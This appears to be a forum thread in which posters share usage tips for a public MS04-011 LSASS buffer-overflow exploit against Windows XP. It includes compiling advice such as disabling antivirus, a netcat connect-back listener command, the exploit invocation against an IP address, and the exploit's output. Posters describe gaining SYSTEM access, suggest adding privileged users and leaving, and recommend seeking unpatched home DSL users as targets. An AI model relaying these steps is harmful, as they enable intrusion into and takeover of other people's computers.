hey, this exploit does work. I just tested it on Windows XP home, SP1, but without the latest patches, and it worked. That's the point I wanted to make I guess.

Also, for those with trouble compiling. . . . .

Add the line #include <iostream.h> to the top of the file. Also change it to lsass.c instead of lsass.cpp .Also, turn off norton antivirus when compiling. Just a few things I would like to advise you to do to get this working.

Connect back is the best way to do hacking. Less trouble with firewalls (generally). This is what I typed to exploit myself, locally. First, fire up netcat with the command:

C:\WINNT>nc -L -p 4444

And just hit enter. Open another command prompt and type (fill in your ip address)

C:\WINNT>lsass 0 24.98.243.*** 4444 24.98.243.***

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: 24.98.243.***: OS: WinXP Professional [universal] lsass.exe
[*] Connecting to 24.98.243.***:445 ... OK
[*] Attacking ... OK

Now, as long as the Attacking ... OK is there, you currently have SYSTEM level access to the system you just exploited. That's right, you are even more powerful than an administrator. So I suggest we add some users with some power locally, and then get the hell out.

exploit works fine with connect back as stated in the example above. however most boxes are patched by now. maybe if you're lucky, you'll get a 2Mbit dsl homeuser who's seldom access the box and ignore updates.

We need exploit v0.2
But there is nothing to see.

very nice